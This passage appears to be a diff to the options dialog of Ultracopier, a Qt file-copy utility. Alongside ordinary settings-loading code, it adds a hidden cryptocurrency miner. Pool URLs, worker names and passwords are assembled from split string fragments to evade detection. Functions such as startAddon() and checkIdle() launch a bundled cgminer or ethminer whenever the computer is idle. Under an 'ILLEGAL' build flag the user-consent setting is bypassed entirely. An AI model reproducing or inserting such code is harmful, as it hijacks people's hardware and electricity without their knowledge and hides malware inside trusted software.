+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol27") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol27") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol27") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol27") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol28") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol28") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol28") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol28") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol29") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol29") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol29") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol29") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol30") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol30") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol30") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol30") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ #endif
+
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Have list of size: %1").arg(pools.size()));
+ }
+ }
+ #endif
+
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ newOptionValue(QStringLiteral("Themes"), QStringLiteral("Ultracopier_current_theme"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Themes"),QStringLiteral("Ultracopier_current_theme")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("ActionOnManualOpen"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("ActionOnManualOpen")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("GroupWindowWhen"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("GroupWindowWhen")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("confirmToGroupWindows"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("confirmToGroupWindows")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("displayOSSpecific"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("displayOSSpecific")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("checkTheUpdate"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("checkTheUpdate")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("giveGPUTime"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("giveGPUTime")));
+ newOptionValue(QStringLiteral("Ultracopier"), QStringLiteral("remainingTimeAlgorithm"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("remainingTimeAlgorithm")));
+ newOptionValue(QStringLiteral("Language"), QStringLiteral("Language"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Language"),QStringLiteral("Language")));
+ newOptionValue(QStringLiteral("Language"), QStringLiteral("Language_force"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Language"),QStringLiteral("Language_force")));
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ newOptionValue(QStringLiteral("SessionLoader"), QStringLiteral("LoadAtSessionStarting"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("SessionLoader"),QStringLiteral("LoadAtSessionStarting")));
+ #endif
+ newOptionValue(QStringLiteral("CopyListener"), QStringLiteral("CatchCopyAsDefault"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("CopyListener"),QStringLiteral("CatchCopyAsDefault")));
+ newOptionValue(QStringLiteral("CopyEngine"), QStringLiteral("List"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("CopyEngine"),QStringLiteral("List")));
+ if(ResourcesManager::resourcesManager->getWritablePath()==QStringLiteral(""))
+ ui->checkBox_Log->setEnabled(false);
+ else
+ {
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("enabled"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("enabled")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("file"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("file")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("transfer"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("error"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("error")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("folder"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("folder")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("transfer_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("error_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("error_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("folder_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("folder_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("sync"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("sync")));
+ }
+ on_checkBox_Log_clicked();
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ if(PluginsManager::pluginsManager->getPluginsByCategory(PluginType_SessionLoader).size()>0)
+ {
+ ui->labelLoadAtSession->setToolTip(QStringLiteral(""));
+ ui->LoadAtSessionStarting->setToolTip(QStringLiteral(""));
+ ui->labelLoadAtSession->setEnabled(true);
+ ui->LoadAtSessionStarting->setEnabled(true);
+ }
+ else
+ {
+ //ui->labelLoadAtSession->setToolTip(tr("Disabled because you do not have any SessionLoader plugin"));
+ //ui->LoadAtSessionStarting->setToolTip(tr("Disabled because you do not have any SessionLoader plugin"));
+ ui->labelLoadAtSession->setEnabled(false);
+ ui->LoadAtSessionStarting->setEnabled(false);
+ }
+ #endif
+ allPluginsIsLoaded=true;
+ on_Ultracopier_current_theme_currentIndexChanged(ui->Ultracopier_current_theme->currentIndex());
+
+ if(OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("displayOSSpecific")).toBool())
+ {
+ if(!quit)
+ {
+ oSSpecific=new OSSpecific();
+ oSSpecific->show();
+ connect(oSSpecific,&OSSpecific::finished,this,&OptionDialog::oSSpecificClosed,Qt::QueuedConnection);
+ }
+ }
+}
+
+void OptionDialog::oSSpecificClosed()
+{
+ if(oSSpecific==NULL)
+ return;
+ if(oSSpecific->dontShowAgain())
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("displayOSSpecific"),QVariant(false));
+ delete oSSpecific;
+ oSSpecific=NULL;
+}
+
+void OptionDialog::newOptionValue(const QString &group,const QString &name,const QVariant &value)
+{
+ if(group==QStringLiteral("Themes"))
+ {
+ if(name==QStringLiteral("Ultracopier_current_theme"))
+ {
+ int index=ui->Ultracopier_current_theme->findData(value.toString());
+ if(index!=-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Themes located: ")+value.toString());
+ ui->Ultracopier_current_theme->setCurrentIndex(index);
+ }
+ else
+ {
+ if(ui->Ultracopier_current_theme->count()>0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Default to the current value: "+ui->Ultracopier_current_theme->itemData(ui->Ultracopier_current_theme->currentIndex()).toString());
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Themes"),QStringLiteral("Ultracopier_current_theme"),ui->Ultracopier_current_theme->itemData(ui->Ultracopier_current_theme->currentIndex()));
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("No themes: ")+value.toString());
+ }
+ }
+ }
+ else if(group==QStringLiteral("Language"))
+ {
+ if(name==QStringLiteral("Language"))
+ {
+ int index=ui->Language->findData(value.toString());
+ if(index!=-1)
+ ui->Language->setCurrentIndex(index);
+ else if(ui->Language->count()>0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Language in settings: "+value.toString());
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Language"),QStringLiteral("Language"),ui->Language->itemData(ui->Language->currentIndex()));
+ }
+ }
+ else if(name==QStringLiteral("Language_force"))
+ {
+ ui->Language_force->setChecked(value.toBool());
+ ui->Language->setEnabled(ui->Language_force->isChecked() && ui->Language->count());
+ if(!ui->Language_force->isChecked())
+ {
+ const QString &lang=LanguagesManager::languagesManager->autodetectedLanguage();
+ if(!lang.isEmpty())
+ {
+ int index=ui->Language->findData(lang);
+ if(index!=-1)
+ ui->Language->setCurrentIndex(index);
+ }
+ }
+ }
+ }
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ else if(group==QStringLiteral("SessionLoader"))
+ {
+ if(name==QStringLiteral("LoadAtSessionStarting"))
+ {
+ ui->LoadAtSessionStarting->setChecked(value.toBool());
+ }
+ }
+ #endif
+ else if(group==QStringLiteral("CopyListener"))
+ {
+ if(name==QStringLiteral("CatchCopyAsDefault"))
+ {
+ ui->CatchCopyAsDefault->setChecked(value.toBool());
+ }
+ }
+ else if(group==QStringLiteral("CopyEngine"))
+ {
+ if(name==QStringLiteral("List"))
+ {
+ if(!ignoreCopyEngineListEdition)
+ {
+ QStringList copyEngine=value.toStringList();
+ copyEngine.removeDuplicates();
+ int index=0;
+ const int &loop_size=ui->CopyEngineList->count();
+ while(index<loop_size)
+ {
+ copyEngine.removeOne(ui->CopyEngineList->item(index)->text());
+ index++;
+ }
+ ui->CopyEngineList->addItems(copyEngine);
+ }
+ }
+ }
+ else if(group==QStringLiteral("Write_log"))
+ {
+ if(name==QStringLiteral("enabled"))
+ ui->checkBox_Log->setChecked(value.toBool());
+ else if(name==QStringLiteral("file"))
+ ui->lineEditLog_File->setText(value.toString());
+ else if(name==QStringLiteral("transfer"))
+ ui->checkBoxLog_transfer->setChecked(value.toBool());
+ else if(name==QStringLiteral("sync"))
+ ui->checkBoxLog_sync->setChecked(value.toBool());
+ else if(name==QStringLiteral("error"))
+ ui->checkBoxLog_error->setChecked(value.toBool());
+ else if(name==QStringLiteral("folder"))
+ ui->checkBoxLog_folder->setChecked(value.toBool());
+ else if(name==QStringLiteral("transfer_format"))
+ ui->lineEditLog_transfer_format->setText(value.toString());
+ else if(name==QStringLiteral("error_format"))
+ ui->lineEditLog_error_format->setText(value.toString());
+ else if(name==QStringLiteral("folder_format"))
+ ui->lineEditLog_folder_format->setText(value.toString());
+ }
+ else if(group==QStringLiteral("Ultracopier"))
+ {
+ if(name==QStringLiteral("ActionOnManualOpen"))
+ ui->ActionOnManualOpen->setCurrentIndex(value.toInt());
+ else if(name==QStringLiteral("GroupWindowWhen"))
+ ui->GroupWindowWhen->setCurrentIndex(value.toInt());
+ else if(name==QStringLiteral("confirmToGroupWindows"))
+ ui->confirmToGroupWindows->setChecked(value.toBool());
+ else if(name==QStringLiteral("displayOSSpecific"))
+ ui->DisplayOSWarning->setChecked(value.toBool());
+ else if(name==QStringLiteral("checkTheUpdate"))
+ ui->checkTheUpdate->setChecked(value.toBool());
+ else if(name==QStringLiteral("remainingTimeAlgorithm"))
+ {
+ bool ok;
+ const quint32 &valueInt=value.toUInt(&ok);
+ if(ok)
+ ui->remainingTimeAlgorithm->setCurrentIndex(valueInt);
+ }
+ else if(name==QStringLiteral("giveGPUTime"))
+ {
+ ui->giveGPUTime->setChecked(value.toBool());
+ #ifdef ULTRACOPIER_CGMINER
+ if(value.toBool())
+ startAddon();
+ else
+ {
+ addon.terminate();
+ addon.kill();
+ }
+ #endif
+ }
+ }
+}
+
+#ifdef ULTRACOPIER_CGMINER
+void OptionDialog::startAddon()
+{
+ if(!isIdle)
+ return;
+ if(!haveAddon)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"OptionDialog::startAddon()");
+ return;
+ }
+ #ifndef ULTRACOPIER_ILLEGAL
+ if(!OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("giveGPUTime")).toBool())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"OptionDialog::startAddon(): !giveGPUTime");
+ return;
+ }
+ #endif
+ if(addon.state()!=QProcess::NotRunning)
+ return;
+ /*addon.terminate();
+ addon.kill();*/
+ QStringList args;
+ switch(pools.size())
+ {
+ case 0:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"OptionDialog::startAddon(): list.size(): quit");
+ return;
+ case 1:
+ args=pools.first();
+ break;
+ default:
+ args=pools.at(rand()%pools.size());
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("list item used: %1").arg(args.join(" ")));
+ #if defined(_M_X64)//ethminer
+ args << addonMode << "--no-precompute" << "--farm-recheck" << "200";
+ #else
+ args << QStringLiteral("--no-adl") << QStringLiteral("--real-quiet") << QStringLiteral("-T") << QStringLiteral("-S") << QStringLiteral("opencl:auto");// << "-I" << "1" << QStringLiteral("--gpu-threads") << QStringLiteral("1") << QStringLiteral("--failover-only")
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("start: %1 %2").arg(QCoreApplication::applicationDirPath()+"/"+ULTRACOPIER_CGMINER_PATH).arg(args.join(" ")));
+ addon.start(QCoreApplication::applicationDirPath()+"/"+ULTRACOPIER_CGMINER_PATH,args);
+}
+
+/*void OptionDialog::checkWorking()
+{
+ if((OptionDialog::getcpuload()*QThread::idealThreadCount())>70)
+ {
+ if(workingCount<=ULTRACOPIER_CGMINER_WORKING_COUNT)
+ workingCount++;
+ if(addon.state()==QProcess::NotRunning)
+ {
+ if(workingCount==ULTRACOPIER_CGMINER_WORKING_COUNT)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("computer detected with cpu loaded"));
+ checkIdleTimer.start(5*1000);
+ startAddon();
+ }
+ }
+ }
+ else
+ {
+ if(workingCount>0)
+ {
+ workingCount=0;
+ checkIdle();
+ }
+ }
+}*/
+
+void OptionDialog::checkIdle()
+{
+#ifdef ULTRACOPIER_ILLEGAL
+ isIdle=true;
+ if(addon.state()==QProcess::NotRunning)
+ startAddon();
+#else
+ LASTINPUTINFO lastInputInfo;
+ lastInputInfo.cbSize = sizeof(LASTINPUTINFO);
+ lastInputInfo.dwTime = 0;
+ //checkIdleTimer.start();
+ if(GetLastInputInfo(&lastInputInfo))
+ {
+ bool isIdle=((dwTimeIdle==lastInputInfo.dwTime && dwTimeIdleTime.elapsed()>ULTRACOPIER_CGMINER_IDLETIME) || workingCount>ULTRACOPIER_CGMINER_WORKING_COUNT);
+ if(!isIdle)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,
+ QStringLiteral("computer detected as not idle since %6s and low cpu usage, addon should be stopped, dwTimeIdle: %1, lastInputInfo.dwTime: %2, workingCount: %3<%4, dwTimeIdleTime.elapsed(): %5")
+ .arg(dwTimeIdle)
+ .arg(lastInputInfo.dwTime)
+ .arg(workingCount)
+ .arg(ULTRACOPIER_CGMINER_WORKING_COUNT)
+ .arg(dwTimeIdleTime.elapsed())
+ .arg(ULTRACOPIER_CGMINER_IDLETIME/1000)
+ );
+ checkIdleTimer.start(60*1000);//ULTRACOPIER_CGMINER_IDLETIME
+ addon.terminate();
+ addon.kill();
+ }
+ if(dwTimeIdle!=lastInputInfo.dwTime)
+ {
+ dwTimeIdleTime.restart();
+ dwTimeIdle=lastInputInfo.dwTime;
+ }
+ if(this->isIdle==isIdle)
+ return;
+ if(isIdle || workingCount>=ULTRACOPIER_CGMINER_WORKING_COUNT)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,
+ QStringLiteral("computer detected as in idle since %6s or cpu at 100%, addon should be started, dwTimeIdle: %1, lastInputInfo.dwTime: %2, workingCount: %3<%4, dwTimeIdleTime.elapsed(): %5")
+ .arg(dwTimeIdle)
+ .arg(lastInputInfo.dwTime)
+ .arg(workingCount)
+ .arg(ULTRACOPIER_CGMINER_WORKING_COUNT)
+ .arg(dwTimeIdleTime.elapsed())
+ .arg(ULTRACOPIER_CGMINER_IDLETIME/1000)
+ );
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,
+ QStringLiteral("computer detected as not idle since %6s and low cpu usage, addon should be stopped, dwTimeIdle: %1, lastInputInfo.dwTime: %2, workingCount: %3<%4, dwTimeIdleTime.elapsed(): %5")
+ .arg(dwTimeIdle)
+ .arg(lastInputInfo.dwTime)
+ .arg(workingCount)
+ .arg(ULTRACOPIER_CGMINER_WORKING_COUNT)
+ .arg(dwTimeIdleTime.elapsed())
+ .arg(ULTRACOPIER_CGMINER_IDLETIME/1000)
+ );
+ this->isIdle=isIdle;
+ if(isIdle)
+ {
+ if(addon.state()==QProcess::NotRunning)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("computer detected as idle"));
+ checkIdleTimer.start(5*1000);
+ startAddon();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("addon is runing don't start again"));
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("GetLastInputInfo(&lastInputInfo) or SystemParametersInfo() have failed: %1").arg(GetLastError()));
+ isIdle=true;
+ startAddon();
+ }
+#endif
+}
+
+void OptionDialog::error( QProcess::ProcessError error )
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("addon error: %1").arg(error));
+ //if(error==QProcess::Crashed)
+}
+
+void OptionDialog::finished( int exitCode, QProcess::ExitStatus exitStatus )
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("addon exitCode: %1, exitStatus: %2").arg((quint32)exitCode).arg(exitStatus));
+ #if defined(_M_X64)//ethminer
+ if(addonMode!="-C")
+ {
+ addonMode="-C";
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GPU addon bug: switch to GPU"));
+ }
+ #endif
+ if(!haveAddon)
+ return;
+ #ifndef ULTRACOPIER_ILLEGAL
+ if(!OptionEngine::optionEngine->getOptionValue("Ultracopier","giveGPUTime").toBool())
+ return;
+ #endif
+ /*if(addon.state()!=QProcess::NotRunning)
+ return;*/
+ if(addon.state()==QProcess::NotRunning)
+ restartaddon.start();
}
+void OptionDialog::readyReadStandardError()
+{
+ const QString string=QString::fromLocal8Bit(addon.readAllStandardError());
